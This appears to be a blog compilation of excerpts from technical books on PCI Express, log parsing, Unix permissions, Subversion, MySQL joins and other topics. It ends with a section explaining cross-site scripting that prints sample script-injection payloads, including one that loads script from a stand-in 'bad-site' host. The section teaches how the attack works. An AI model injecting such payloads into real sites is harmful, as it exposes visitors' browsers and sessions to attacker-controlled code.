4-8 Configuration Request Header Fields
4-9 Completion Header Fields
4-10 Message Request Header Fields
4-11 INTx Interrupt Signaling Message Coding
4-12 Power Management Message Coding
4-13 Error Message Coding
4-14 Unlock Message Coding
4-15 Slot Power Limit Message Coding
4-16 Hot Plug Message Coding
4-17 DLLP Packet Types
4-18 Ack or Nak DLLP Fields
4-19 Power Management DLLP Fields
4-20 Flow Control DLLP Fields
4-21 Vendor-Specific DLLP Fields
5-1 Ack or Nak DLLP Fields
6-1 Example TC to VC Mappings
7-1 Required Minimum Flow Control Advertisements
8-1 Transactions That Can Be Reordered Due to Relaxed Ordering
8-2 Fundamental Ordering Rules Based on Strong Ordering and RO Attribute
8-3 Weak Ordering Rules Enhance Performance
8-4 Ordering Rules with Deadlock Avoidance Rules
9-1 Format and Usage of Message Control Register
9-2 INTx Message Codes
10-1 Error Message Codes and Description
10-2 Completion Code and Description
10-3 Error-Related Command Register Bits
10-4 Description of PCI-Compatible Status Register Bits for Reporting Errors
10-5 Default Classification of Errors
10-6 Transaction Layer Errors That are Logged
11-1 5-bit to 6-bit Encode Table for Data Characters
11-2 5-bit to 6-bit Encode Table for Control Characters
11-3 3-bit to 4-bit Encode Table for Data Characters
11-4 3-bit to 4-bit Encode Table for Control Characters
11-5 Control Character Encoding and Definition
12-1 Output Driver Characteristics
12-2 Input Receiver Characteristics
14-1 Summary of TS1 and TS2 Ordered-Set Contents
15-1 Maximum Power Consumption for System Board Expansion Slots
16-1 Major Software/Hardware Elements Involved In PC PM
16-2 System PM States as Defined by the OnNow Design Initiative
16-3 OnNow Definition of Device-Level PM States
16-4 Concise Description of OnNow Device PM States
16-5 Default Device Class PM States
16-6 D0 Power Management Policies
16-7 D1 Power Management Policies
16-8 D2 Power Management Policies
16-9 D3hot Power Management Policies
16-10 D3cold Power Management Policies
16-11 Description of Function State Transitions
16-12 Function State Transition Delays
16-13 The PMC Register Bit Assignments
16-14 PM Control/Status Register (PMCSR) Bit Assignments
16-15 Data Register Interpretation
16-16 Relationship Between Device and Link Power States
16-17 Link Power State Characteristics
16-18 Active State Power Management Control Field Definition
17-1 Introduction to Major Hot-Plug Software Elements
17-2 Major Hot-Plug Hardware Elements
17-3 Behavior and Meaning of the Slot Attention Indicator
17-4 Behavior and Meaning of the Power Indicator
17-5 Slot Capability Register Fields and Descriptions
17-6 Slot Control Register Fields and Descriptions
17-7 Slot Status Register Fields and Descriptions
17-8 The Primitives
18-1 PCI Express Connector Pinout
18-2 PCI Express Connector Auxiliary Signals
18-3 Power Supply Requirements
18-4 Add-in Card Power Dissipation
18-5 Card Interoperability
20-1 Enhanced Configuration Mechanism Memory-Mapped IO Address Range
21-1 Capability Register's Device/Port Type Field Encoding
22-1 Defined Class Codes
22-2 BIST Register Bit Assignment
22-3 Currently-Assigned Capability IDs
22-4 Command Register
22-5 Status Register
22-6 Bridge Command Register Bit Assignment
22-7 Bridge Control Register Bit Assignment
22-8 Bridge Primary Side Status Register
22-9 Bridge Secondary Side Status Register
22-10 AGP Status Register (Offset CAP_PTR + 4)
22-11 AGP Command Register (Offset CAP_PTR + 8)
22-12 Basic Format of VPD Data Structure
22-13 Format of the Identifier String Tag
22-14 Format of the VPD-R Descriptor
22-15 General Format of a Read or a Read/Write Keyword Entry
22-16 List of Read-Only VPD Keywords
22-17 Extended Capability (CP) Keyword Format
22-18 Format of Checksum Keyword
22-19 Format of the VPD-W Descriptor
22-20 List of Read/Write VPD Keywords
22-21 Example VPD List
22-22 Slot Numbering Register Set
22-23 Expansion Slot Register Bit Assignment
23-1 PCI Expansion ROM Header Format
23-2 PC-Compatible Processor/Architecture Data Area In ROM Header
23-3 PCI Expansion ROM Data Structure Format
24 - 1 PCI Express Capabilities Register
24 - 2 Device Capabilities Register (read-only)
24 - 3 Device Control Register (read/write)
24 - 4 Device Status Register
24 - 5 Link Capabilities Register
24 - 6 Link Control Register
24 - 7 Link Status Register
24 - 8 Slot Capabilities Register (all fields are HWInit)
24 - 9 Slot Control Register (all fields are RW)
24 - 10 Slot Status Register
24 - 11 Root Control Register (all fields are RW)
24 - 12 Root Status Register
24 - 13 Advanced Error Reporting Capability Register Set
24 - 14 Port VC Capability Register 1 (Read-Only)
24 - 15 Port VC Capability Register 2 (Read-Only)
24 - 16 Port VC Control Register (Read-Write)
24 - 17 Port VC Status Register (Read-Only)
24 - 18 VC Resource Capability Register
24 - 19 VC Resource Control Register (Read-Write)
24 - 20 VC Resource Status Register (Read-Only)
D-1 Defined Class Codes
D-2 Class Code 0 (PCI rev 1.0)
D-3 Class Code 1: Mass Storage Controllers
D-4 Class Code 2: Network Controllers
D-5 Class Code 3: Display Controllers
D-6 Class Code 4: Multimedia Devices
D-7 Class Code 5: Memory Controllers
D-8 Class Code 6: Bridge Devices
D-9 Class Code 7: Simple Communications Controllers
D-10 Class Code 8: Base System Peripherals
D-11 Class Code 9: Input Devices
D-12 Class Code A: Docking Stations
D-13 Class Code B: Processors
D-14 Class Code C: Serial Bus Controllers
D-15 Class Code D: Wireless Controllers
D-16 Class Code E: Intelligent IO Controllers
D-17 Class Code F: Satellite Communications Controllers
D-18 Class Code 10h: Encryption/Decryption Controllers
D-19 Class Code 11h: Data Acquisition and Signal Processing Controllers
D-20 Definition of IDE Programmer's Interface Byte Encoding

[ Team LiB ]

List of Tables

2009-11-13T07:50:00.009-08:00

List of Tables

Chapter 3: The Business Value of Better Requirements

Table 3-1: Relative Cost to Correct a Requirement Defect
Table 3-2: Cost and Schedule Overruns on Some NASA Projects

Chapter 4: How Long Do Requirements Take?

Table 4-1: Benchmarks for Requirements Work on Large Projects

Chapter 5: Estimating Based on Requirements

Table 5-1: Use Case Point Contributions from Actors
Table 5-2: Use Case Point Contributions from Use Cases
Table 5-3: Unadjusted Use Case Points Example
Table 5-4: Technical Factors Affecting Use Case Points
Table 5-5: Environmental Factors Affecting Use Case Points

Chapter 11: When Use Cases Aren't Enough

Table 11-1: Partial Event-Response Table for a Highway Intersection

Chapter 15: Elements of Requirements Style

Table 15-1: Removing Negation from Functional Requirements

Chapter 17: Defining Project Scope

Table 17-1: A Sample Feature Roadmap

Chapter 18: The Line in the Sand

Table 18-1: Factors to Consider Before Defining a Requirements Baseline

Chapter 19: The Six Blind Men and the Requirements

Table 19-1: Some Graphical Analysis Models for Representing Requirements
Table 19-2: Choosing the Most Appropriate Requirements Views

Chapter 21: Business Requirements and Business Rules

Table 21-1: Some Examples of Financial and Nonfinancial Business Objectives

Stateful and Stateless Data

2009-11-13T07:50:00.007-08:00

9.3. Stateful and Stateless Data

In addition to the format in which
the log file presents its data, it is important to think about the
contents of these files because what the data
represents and how it is represented both
contribute to our plan of attack when programming. With log file
contents, often a distinction can be made between data that is
stateful and data that is
stateless. Let's see a couple of
examples that will make this distinction clear.

Here's a three-line snippet from an Apache web server log. Each
line represents a request answered by the web server:

esnet-118.dynamic.rpi.edu - - [13/Dec/1998:00:04:20 -0500] "GET home/u1/tux/
tuxedo05.gif

HTTP/1.0" 200 18666 ppp-206-170-3-49.okld03.pacbell.net - - [13/Dec/1998:00:04:21
 -0500] "GET home/u2/news.htm 

HTTP/1.0" 200 6748 ts007d39.ftl-fl.concentric.net - - [13/Dec/1998:00:04:22 -0500]
 "GET home/u1/bgc.jpg HTTP/1.1" 304 -

Here are a few lines from a printer daemon log file:

Aug 14 12:58:46 warhol  printer: cover/door open 
Aug 14 12:58:58 warhol  printer: error cleared 
Aug 14 17:16:26 warhol  printer: offline or intervention needed 
Aug 14 17:16:43 warhol  printer: error cleared 
Aug 15 20:40:45 warhol  printer: paper out 
Aug 15 20:40:48 warhol  printer: error cleared

In both cases, each line of the log file is independent of every
other line in the file. We can find patterns or aggregate lines
together gathering statistics, but there's nothing inherent in
the data that connects the log file entries to each other.

Now consider some slightly doctored entries from a
sendmail mail log:

Dec 13 05:28:27 mailhub sendmail[26690]: FAA26690:
from=<user@has.a.godcomplex.
com>, size=643, class=0, pri=30643, nrcpts=1,
msgid=<199812131032.CAA22824@has.a.
godcomplex.com>, proto=ESMTP, relay=user@has.a.godcomplex.com [216.32.32.176]

Dec 13 05:29:13 mailhub sendmail[26695]: FAA26695: from=<root@host.ccs.neu.edu>,
 size=9600, class=0, pri=39600, nrcpts=1, msgid=<199812131029.FAA15005@host.ccs.
neu.edu>, proto=ESMTP, relay=root@host.ccs.neu.edu [129.10.116.69]

Dec 13 05:29:15 mailhub sendmail[26691]: FAA26690: to=<user@ccs.neu.edu>,
 delay=00:00:02, xdelay=00:00:01, mailer=local, stat=Sent 

Dec 13 05:29:19 mailhub sendmail[26696]: FAA26695: to="|IFS=' '&&exec /usr/bin/
procmail -f-||exit 75 #user", ctladdr=user (6603/104), delay=00:00:06,
xdelay=00:
00:06, mailer=prog, stat=Sent

Unlike the previous examples, there is a definite connection between
the lines in the file. Figure 9-2 makes that
connection explicit.

Figure 9.2. Related entries in the sendmail log

Each line has at least one partner entry that shows the source and
destinations of each message. When a message enters the system it is
assigned a unique "Message-ID," highlighted above, which
identifies that message while it is in play. This Message-ID allows
us to associate related lines in an interleaved log file, essentially
giving a message an existence or "state" in between
entries of a log file.

Sometimes we care about the "distance" between state
transitions. Take, for instance, the wtmp file
we saw earlier in this chapter. Not only are we interested in when
someone logs in and when they log out (the two state transitions in
the log), but in the time between these two events, i.e., how long
they were logged in.

The most sophisticated log files can add another twist. Here are some
excerpts from a POP (Post Office Protocol) server's log file
while the server is in debug mode. The names and IP addresses have
been changed to protect the innocent:

Jan 14 15:53:45 mailhub popper[20243]: Debugging turned on
Jan 14 15:53:45 mailhub popper[20243]: (v2.53) Servicing request from
"client" at 129.X.X.X
Jan 14 15:53:45 mailhub popper[20243]: +OK QPOP (version 2.53) at mailhub starting.  
Jan 14 15:53:45 mailhub popper[20243]: Received: "USER username"
Jan 14 15:53:45 mailhub popper[20243]: +OK Password required for username.
Jan 14 15:53:45 mailhub popper[20243]: Received: "pass xxxxxxxxx"
Jan 14 15:53:45 mailhub popper[20243]: +OK username has 1 message (26627 octets).
Jan 14 15:53:46 mailhub popper[20243]: Received: "LIST"
Jan 14 15:53:46 mailhub popper[20243]: +OK 1 messages (26627 octets)
Jan 14 15:53:46 mailhub popper[20243]: Received: "RETR 1"
Jan 14 15:53:46 mailhub popper[20243]: +OK 26627 octets
<message text appears here>
Jan 14 15:53:56 mailhub popper[20243]: Received: "DELE 1"
Jan 14 15:53:56 mailhub popper[20243]: Deleting message 1 at offset 0 of length 26627
Jan 14 15:53:56 mailhub popper[20243]: +OK Message 1 has been deleted.
Jan 14 15:53:56 mailhub popper[20243]: Received: "QUIT"
Jan 14 15:53:56 mailhub popper[20243]: +OK Pop server at mailhub signing off.
Jan 14 15:53:56 mailhub popper[20243]: (v2.53) Ending request from "user" at (client) 129.X.X.X

Not only do we encounter connections ("Servicing request
from...") and disconnections ("Ending request
from..."), but we have information detailing what took place in
between these state transitions.

Each of these middle events also provides potentially useful
"distance" information. If there was a problem with our
POP server, we might look to see how long each step in the above
output took.

In the case of an FTP server, you may be able to draw some
conclusions from this data about how people interact with your site.
On average, how long do people stay connected before they transfer
files? Do they pause between commands for a long time? Do they always
travel from one part of your site to another before downloading the
same file? The interstitial data can be a rich source of
information.

Section 4.10. Sticky Bit

2009-11-13T07:50:00.005-08:00

4.10. Sticky Bit

The S_ISVTX bit has an interesting history. On versions of the UNIX System that predated demand paging, this bit was known as the sticky bit. If it was set for an executable program file, then the first time the program was executed, a copy of the program's text was saved in the swap area when the process terminated. (The text portion of a program is the machine instructions.) This caused the program to load into memory more quickly the next time it was executed, because the swap area was handled as a contiguous file, compared to the possibly random location of data blocks in a normal UNIX file system. The sticky bit was often set for common application programs, such as the text editor and the passes of the C compiler. Naturally, there was a limit to the number of sticky files that could be contained in the swap area before running out of swap space, but it was a useful technique. The name sticky came about because the text portion of the file stuck around in the swap area until the system was rebooted. Later versions of the UNIX System referred to this as the saved-text bit; hence, the constant S_ISVTX. With today's newer UNIX systems, most of which have a virtual memory system and a faster file system, the need for this technique has disappeared.

On contemporary systems, the use of the sticky bit has been extended. The Single UNIX Specification allows the sticky bit to be set for a directory. If the bit is set for a directory, a file in the directory can be removed or renamed only if the user has write permission for the directory and one of the following:

Owns the file
Owns the directory
Is the superuser

The directories /tmp and /var/spool/uucppublic are typical candidates for the sticky bitthey are directories in which any user can typically create files. The permissions for these two directories are often read, write, and execute for everyone (user, group, and other). But users should not be able to delete or rename files owned by others.

The saved-text bit is not part of POSIX.1. It is an XSI extension to the basic POSIX.1 functionality defined in the Single UNIX Specification, and is supported by FreeBSD 5.2.1, Linux 2.4.22, Mac OS X 10.3, and Solaris 9.

Solaris 9 places special meaning on the sticky bit if it is set on a regular file. In this case, if none of the execute bits is set, the operating system will not cache the contents of the file.

Section 15.4. svnversion

2009-11-13T07:50:00.003-08:00

15.4. `svnversion`

Outputs a version number for a file or directory in a working copy. If the working copy has been modified, the version number has a trailing M. If it has been switched, there is a trailing S. If the working copy contains multiple revisions, the revision number is given as a range, in the form N:M, where N is the lowest revision and M is the highest.

Switched directories are detected automatically for all files and directories except the one specifically given on the command line as the base path. To determine whether the base path has been switched, you have to provide a URL on the command line that gives the unswitched URL.

Basic Usage


$ svnversion WC_PATH [URL]

Options

-n
Tell svnversion not to output a trailing newline at the end of the output.
-c
Tell svnversion to output the last changed revision numbers, instead of the revision numbers of the current revision.
--version
Outputs version information for the svnversion program.

18.1 The Client-Server Model

2009-11-13T07:50:00.001-08:00

[ Team LiB ]

18.1 The Client-Server Model

Many network applications and services such as web browsing, mail, file transfer (ftp), authentication (Kerberos), remote login (telnet) and access to remote file systems (NFS) use the client-server paradigm. In each of these applications, a client sends a request for service to a server. A service is an action, such as changing the status of a remote file, that the server performs on behalf of the client. Often the service includes a response or returns information, for example by retrieving a remote file or web page.

The client-server model appears at many levels in computer systems. For example, an object that calls a method of another object in an object-oriented program is said to be a client of the object. At the system level, daemons that manage resources such as printers are servers for system user clients. On the Internet, browsers are client processes that request resources from web servers. The key elements of the client-server model are as follows.

The client, not the service provider, initiates the action.
The server waits passively for requests from clients.
The client and server are connected by a communication channel that they access through communication endpoints.

Servers should robustly handle multiple simultaneous client requests in the face of unexpected client behavior. This chapter especially emphasizes the importance of catching errors and taking appropriate action during client-server interactions. You wouldn't want a web server to exit when a user mistypes a URL in the browser. Servers are long-running and must release all the resources allocated for individual client requests.

Although most current computer system services are based on the client-server model, other models such as event notification [4, 36] or peer-to-peer computing [90] may become more important in the future.

[ Team LiB ]

Section 17.5. Adding to the Storytests

2009-11-13T07:49:00.051-08:00

17.5. Adding to the Storytests

Mitra and Don got together to write some further tests for the template stories. They quickly wrote the test shown in Figure 17.8, which allows for more than one item per guest.

Figure 17.8. Template with Less than One Item
create template	coffee break
one	coffee dispenser	for	20	people
one	hot water dispenser	for	20	people
one	coffee table	for	40	people
one	cup	for	0.9	people

They then used that template, "coffee break," to test that the number of rental items was rounded up. Don calculated out loud: "With 21 guests, there will be 21 divided by 20, which is 1.05. We round that up to 2. With cups, there will be 21 divided by 0.9, which is 23.33. That rounds up to 24." This resulted in the test shown in Figure 17.9.

Figure 17.9. Template with Rounding

As these tests were completed, they were passed on to the programmers, who used them in the implementation of the new stories in RentEz. Further storytests were developed over the next 3 weeks and these included some ColumnFixture tables for testing rounding with a variety of examples.

Hour 14. ATL Servers

2009-11-13T07:49:00.049-08:00

Hour 14. ATL Servers

The Active Template Library (ATL) Server is a new technology within Visual C++ .NET not present in previous versions of Visual Studio. ATL Server is a server-based technology that runs on the Internet Information Services (IIS) Web server platform. It plays a dual role within the .NET Framework, having the ability to create Web Services, as you saw in Hour 11, "Creating Web Services," as well as Web applications, the topic of this hour.

ATL Server uses a tag-replacement methodology similar to the way ASP.NET functions. In other words, a certain tag (otherwise known as a replacement tag, consisting of a string of characters enclosed within two curly braces on each end) is encountered by the Web server (IIS), and rather than that tag being passed directly to the rendering stream, it is handed off to an extension DLL. This extension DLL then replaces the tag with its own content, which is then passed down to be rendered on the client Web browser.

In this hour you will learn:

How to create an ATL Server project and what options are available for your project

What a server response file (SRF) is and the syntax necessary to interact with your extension DLL

How to specify new replacement tags within your extension DLL and how to render to the response stream

Top

Chapter 4. i18n, L10n, and Unicode

2009-11-13T07:49:00.047-08:00

Chapter 4. i18n, L10n, and Unicode

Internationalization, localization, and Unicode are all hot topics in the field of modern web application development. If you build and launch an application without support for multiple languages, you're going to be missing out on a huge portion of your possible user base. Current research suggests that there are about 510 million English-speaking people in the world. If your application only caters to English speakers, you've immediately blocked 92 percent of your potential global audience. These numbers are actually wildly inaccurate and generally used as a scare tactic; you have to consider how many of the world's six billion or so population is online to begin with. But even once we factor this in, we are still left with 64 percent of online users (around 680 million people) who don't speak English (these statistics come from the global reach web site: http://global-reach.biz/). That's still a huge number of potential users you're blocking from using your application.

Addressing this problem has historically been a huge deal. Developers would need advanced knowledge of character sets and text processing, language-dependent data would need to be stored separately, and data from one group of users could not be shared with another. But in a world where the Internet is becoming more globally ubiquitous, these problems needed solving. The solutions that were finally reached cut out a lot of the hard work for developersit's now almost trivially easy to create a multilanguage application, with only a few simple bits of knowledge.

This chapter will get you quickly up to speed with the issues involved with internationalization and localization, and suggest simple ways to solve them. We'll then look at Unicode in detail, explaining what it is, how it works, and how you can implement full Unicode applications quickly and easily. We'll touch on the key areas of data manipulation in web applications where Unicode has a role to play, and identify the potential pitfalls associated with them.

12.5 Finding Rows in One Table That Match Rows in Another

2009-11-13T07:49:00.045-08:00

I l@ve RuBoard

12.5 Finding Rows in One Table That Match Rows in Another

12.5.1 Problem

You want to use rows in one
table to locate rows in another table.

12.5.2 Solution

Use a join with an appropriate
WHERE clause to match up records from
different tables.

12.5.3 Discussion

The records in the shirt, tie,
and pants tables from Recipe 12.2
have no special relationship to each other, so no combination of rows
is more meaningful than any other. That's okay,
because the purpose of the examples that use those tables is to
illustrate how to perform a join, not why you'd do
so.

The "why" is that joins allow you
to combine information from multiple tables when each table contains
only part of the information in which you're
interested. Output rows from a join are more complete than rows from
either table by itself. This kind of operation often is based on
matching rows in one table to rows in another, which requires that
each table have one or more columns of common information that can be
used to link them together logically.

To illustrate, suppose you're starting an art
collection, using the following two tables to record your
acquisitions. artist lists those painters whose
works you want to collect, and painting lists each
painting that you've purchased:

CREATE TABLE artist
(
    a_id    INT UNSIGNED NOT NULL AUTO_INCREMENT,   # artist ID
    name    VARCHAR(30) NOT NULL,                   # artist name
    PRIMARY KEY (a_id),
    UNIQUE (name)
);

CREATE TABLE painting
(
    a_id    INT UNSIGNED NOT NULL,                  # artist ID
    p_id    INT UNSIGNED NOT NULL AUTO_INCREMENT,   # painting ID
    title   VARCHAR(100) NOT NULL,                  # title of painting
    state   VARCHAR(2) NOT NULL,                    # state where purchased
    price   INT UNSIGNED,                           # purchase price (dollars)
    INDEX (a_id),
    PRIMARY KEY (p_id)
);

You've just begun the collection, so the tables
contain only the following records:

mysql> SELECT * FROM artist ORDER BY a_id;
+------+----------+
| a_id | name     |
+------+----------+
|    1 | Da Vinci |
|    2 | Monet    |
|    3 | Van Gogh |
|    4 | Picasso  |
|    5 | Renoir   |
+------+----------+
mysql> SELECT * FROM painting ORDER BY a_id, p_id;
+------+------+-------------------+-------+-------+
| a_id | p_id | title             | state | price |
+------+------+-------------------+-------+-------+
|    1 |    1 | The Last Supper   | IN    |    34 |
|    1 |    2 | The Mona Lisa     | MI    |    87 |
|    3 |    3 | Starry Night      | KY    |    48 |
|    3 |    4 | The Potato Eaters | KY    |    67 |
|    3 |    5 | The Rocks         | IA    |    33 |
|    5 |    6 | Les Deux Soeurs   | NE    |    64 |
+------+------+-------------------+-------+-------+

The low values in the price column of the
painting table betray the fact that your
collection actually contains only cheap facsimiles, not the
originals. Well, that's all right�who can
afford the originals?

Each table contains partial information about your collection. For
example, the artist table doesn't
tell you which paintings each artist produced, and the
painting table lists artist IDs but not their
names. To answer certain kinds of questions, you must combine the two
tables, and do so in a way that matches up records properly. The
"matching up" part is a matter of
writing an appropriate WHERE clause. In Recipe 12.2, I mentioned that performing a full join
generally is a bad idea because of the amount of output produced.
Another reason not to perform a full join is that the result may be
meaningless. The following full join between the
artist and painting tables
makes this clear. It includes no WHERE clause, and
thus produces output that conveys no useful information:

mysql> SELECT * FROM artist, painting;
+------+----------+------+------+-------------------+-------+-------+
| a_id | name     | a_id | p_id | title             | state | price |
+------+----------+------+------+-------------------+-------+-------+
|    1 | Da Vinci |    1 |    1 | The Last Supper   | IN    |    34 |
|    2 | Monet    |    1 |    1 | The Last Supper   | IN    |    34 |
|    3 | Van Gogh |    1 |    1 | The Last Supper   | IN    |    34 |
|    4 | Picasso  |    1 |    1 | The Last Supper   | IN    |    34 |
|    5 | Renoir   |    1 |    1 | The Last Supper   | IN    |    34 |
|    1 | Da Vinci |    1 |    2 | The Mona Lisa     | MI    |    87 |
|    2 | Monet    |    1 |    2 | The Mona Lisa     | MI    |    87 |
|    3 | Van Gogh |    1 |    2 | The Mona Lisa     | MI    |    87 |
|    4 | Picasso  |    1 |    2 | The Mona Lisa     | MI    |    87 |
|    5 | Renoir   |    1 |    2 | The Mona Lisa     | MI    |    87 |
|    1 | Da Vinci |    3 |    3 | Starry Night      | KY    |    48 |
|    2 | Monet    |    3 |    3 | Starry Night      | KY    |    48 |
|    3 | Van Gogh |    3 |    3 | Starry Night      | KY    |    48 |
|    4 | Picasso  |    3 |    3 | Starry Night      | KY    |    48 |
|    5 | Renoir   |    3 |    3 | Starry Night      | KY    |    48 |
|    1 | Da Vinci |    3 |    4 | The Potato Eaters | KY    |    67 |
|    2 | Monet    |    3 |    4 | The Potato Eaters | KY    |    67 |
|    3 | Van Gogh |    3 |    4 | The Potato Eaters | KY    |    67 |
|    4 | Picasso  |    3 |    4 | The Potato Eaters | KY    |    67 |
|    5 | Renoir   |    3 |    4 | The Potato Eaters | KY    |    67 |
|    1 | Da Vinci |    3 |    5 | The Rocks         | IA    |    33 |
|    2 | Monet    |    3 |    5 | The Rocks         | IA    |    33 |
|    3 | Van Gogh |    3 |    5 | The Rocks         | IA    |    33 |
|    4 | Picasso  |    3 |    5 | The Rocks         | IA    |    33 |
|    5 | Renoir   |    3 |    5 | The Rocks         | IA    |    33 |
|    1 | Da Vinci |    5 |    6 | Les Deux Soeurs   | NE    |    64 |
|    2 | Monet    |    5 |    6 | Les Deux Soeurs   | NE    |    64 |
|    3 | Van Gogh |    5 |    6 | Les Deux Soeurs   | NE    |    64 |
|    4 | Picasso  |    5 |    6 | Les Deux Soeurs   | NE    |    64 |
|    5 | Renoir   |    5 |    6 | Les Deux Soeurs   | NE    |    64 |
+------+----------+------+------+-------------------+-------+-------+

Clearly, you're not maintaining these tables to
match up each artist with each painting, which is what the preceding
query does. An unrestricted join in this case produces nothing more
than a lot of output with no value, so a WHERE
clause is essential to give the query meaning. For example, to
produce a list of paintings together with the artist names, you can
associate records from the two tables using a simple
WHERE clause that matches up values in the artist
ID column that is common to both tables and that serves as the link
between them:

mysql> SELECT * FROM artist, painting
    -> WHERE artist.a_id = painting.a_id;
+------+----------+------+------+-------------------+-------+-------+
| a_id | name     | a_id | p_id | title             | state | price |
+------+----------+------+------+-------------------+-------+-------+
|    1 | Da Vinci |    1 |    1 | The Last Supper   | IN    |    34 |
|    1 | Da Vinci |    1 |    2 | The Mona Lisa     | MI    |    87 |
|    3 | Van Gogh |    3 |    3 | Starry Night      | KY    |    48 |
|    3 | Van Gogh |    3 |    4 | The Potato Eaters | KY    |    67 |
|    3 | Van Gogh |    3 |    5 | The Rocks         | IA    |    33 |
|    5 | Renoir   |    5 |    6 | Les Deux Soeurs   | NE    |    64 |
+------+----------+------+------+-------------------+-------+-------+

The column names in the WHERE clause include table
qualifiers to make it clear which a_id values to
compare. The output indicates who painted each painting, and,
conversely, which paintings by each artist are in your collection.
However, the output is perhaps overly verbose. (It includes two
identical a_id columns, for example; one comes
from the artist table, the other from the
painting table.) You may want to see the
a_id values only once. Or you may not want to see
any ID columns at all. To exclude them, provide a column output list
that names specifically only those columns in which
you're interested:

mysql> SELECT artist.name, painting.title, painting.state, painting.price
    -> FROM artist, painting
    -> WHERE artist.a_id = painting.a_id;
+----------+-------------------+-------+-------+
| name     | title             | state | price |
+----------+-------------------+-------+-------+
| Da Vinci | The Last Supper   | IN    |    34 |
| Da Vinci | The Mona Lisa     | MI    |    87 |
| Van Gogh | Starry Night      | KY    |    48 |
| Van Gogh | The Potato Eaters | KY    |    67 |
| Van Gogh | The Rocks         | IA    |    33 |
| Renoir   | Les Deux Soeurs   | NE    |    64 |
+----------+-------------------+-------+-------+

By adding other conditions to the WHERE clause,
you can use row-matching queries to answer more specific questions,
such as the following:

Which paintings did Van Gogh paint? To answer this question, identify
the record from the artist table that corresponds
to the artist name, use its a_id value to find
matching records in the painting table, and select
the title from those records:

mysql> SELECT painting.title
    -> FROM artist, painting
    -> WHERE artist.name = 'Van Gogh' AND artist.a_id = painting.a_id;
+-------------------+
| title             |
+-------------------+
| Starry Night      |
| The Potato Eaters |
| The Rocks         |
+-------------------+

Who painted "The Mona Lisa"? To
find out, go in the other direction, using information in the
painting table to find information in the
artist table:

mysql> SELECT artist.name
    -> FROM artist, painting
    -> WHERE painting.title = 'The Mona Lisa' AND painting.a_id = artist.a_id;
+----------+
| name     |
+----------+
| Da Vinci |
+----------+

Which artists' paintings did you purchase in
Kentucky or Indiana? This is somewhat similar to the last query, but
tests a different column in the painting table to
find the initial set of records to be joined with the
artist table:
```
mysql> SELECT DISTINCT artist.name
    -> FROM artist, painting
    -> WHERE painting.state IN ('KY','IN') AND artist.a_id = painting.a_id;
+----------+
| name     |
+----------+
| Da Vinci |
| Van Gogh |
+----------+
```
The query also uses DISTINCT to display each
artist name just once. Try it without DISTINCT and
you'll see that Van Gogh is listed
twice�that's because you obtained two Van
Goghs in Kentucky.

Joins can also be used with aggregate
functions to produce
summaries. For example, to find out how
many paintings you have per artist, use this query:

mysql> SELECT artist.name, COUNT(*) AS 'number of paintings'
    -> FROM artist, painting
    -> WHERE artist.a_id = painting.a_id
    -> GROUP BY artist.name;
+----------+---------------------+
| name     | number of paintings |
+----------+---------------------+
| Da Vinci |                   2 |
| Renoir   |                   1 |
| Van Gogh |                   3 |
+----------+---------------------+

A more elaborate query might also show how much you paid for each
artist's paintings, in total and on average:

mysql> SELECT artist.name,
    -> COUNT(*) AS 'number of paintings',
    -> SUM(painting.price) AS 'total price',
    -> AVG(painting.price) AS 'average price'
    -> FROM artist, painting WHERE artist.a_id = painting.a_id
    -> GROUP BY artist.name;
+----------+---------------------+-------------+---------------+
| name     | number of paintings | total price | average price |
+----------+---------------------+-------------+---------------+
| Da Vinci |                   2 |         121 |       60.5000 |
| Renoir   |                   1 |          64 |       64.0000 |
| Van Gogh |                   3 |         148 |       49.3333 |
+----------+---------------------+-------------+---------------+

Note that the summary queries produce output only for those artists
in the artist table for whom you actually have
acquired paintings. (For example, Monet is listed in the
artist table but is not present in the summary
because you don't have any of his paintings yet.) If
you want the summary to include all artists, even if you have none of
their paintings yet, you must use a different kind of
join�specifically, a LEFT
JOIN. See Recipe 12.6 and
Recipe 12.9.

Joins and Indexes

Because a join can easily cause MySQL to process
large numbers of row combinations, it's a good idea
to make sure that the columns you're comparing are
indexed. Otherwise, performance can drop off quickly as table sizes
increase. For the artist and
painting tables, joins are made based on the
values in the a_id column of each table. If you
look back at the CREATE TABLE
statements that were shown for these tables in Recipe 12.5, you'll see that
a_id is indexed in each table.

I l@ve RuBoard

Cross-site Scripting (XSS)

2009-11-13T07:49:00.043-08:00


Prev	don't be afraid of buying books	Next

Cross-site Scripting
(XSS)

Cross-site
scripting (XSS) has become a popular subject in security,
but XSS is really only yet another example of in-band signals being
interpreted by client software—in this case, the Web browser.
XSS is a popular attack because Web sites are both common and
numerous.

To carry out an XSS attack, an attacker can
place a booby trap within data using special escape codes. This is
a modern form of using terminal escape codes in filenames or talk
requests. The terminal, in this case, is the Web browser that
includes advanced features such as the capability to run embedded
Javascripts. An attack can inject some toxic Javascript or some
other mobile code element into data that are later read and
executed by another user of the server. The code executes on the
victim's client machine, sometimes causing havoc for the victim. Figure 5-1 shows an example
of Web-based XSS in action.

Figure 5-1. XSS illustrated. The
attacker sends active content to a victim (1), which invokes a
script on the vulnerable Web site (2). Later, once invoked by a Web
browser, hitting the vulnerable Web site (3), the script runs (4)
and allows the attacker access (5).

In some cases an attacker may be able to include
a script such as the following in a payload:


<script SRC='http://bad-site/badfile'></SCRIPT>

In this case the script source is obtained from
an outside system. The final
script, however, is executed in the security context of the
browser–server connection of the original site. The "cross-site" label in
the name originates from the fact that the script source is
obtained from an outside, untrusted source.

* Attack Example: Javascript Alert
Dialog XXS

One innocuous kind of XSS attack causes a pop-up
dialog to spin, saying whatever the attacker supplies. This is
commonly used as a test against a site. An attacker simply inserts
the following script code into input forms on the target site:


<script>alert("some text");</script>

When viewing subsequent pages, the attacker
expects that a dialog box with "some text" will pop up.

Using Reflection against Trusted
Sites

Consider a situation in which an attacker sends
e-mail that contains an embedded script. The victim may not trust
the e-mail message and may thus have scripting disabled. The attack
therefore fails.

Now assume that the same victim uses a popular
on-line system. The attacker may know that the victim uses and
trusts the on-line system. The attacker may also have found an XSS
vulnerability on the target system. Armed with this knowledge, the
attacker can send e-mail with a link to the trusted target site
embedded. The link may contain data that are posted to the target site, doing something such as
posting a message. The link may look something like


<a href="trusted.site.com/cgi-bin/post_message.pl?my message goes here">click me</a>

If the victim clicks the link, the message "my
message goes here" will be posted to the target site. The target
site will then display the message back to the victim. This is a
very common form of XSS attack. Thus, a cross-site problem on the
target site can be used to echo script back to the victim. The
script is not contained in the e-mail itself, but is instead
"bounced" off the target site. Once the victim views the data that
were posted, the script becomes active in the victim's browser.

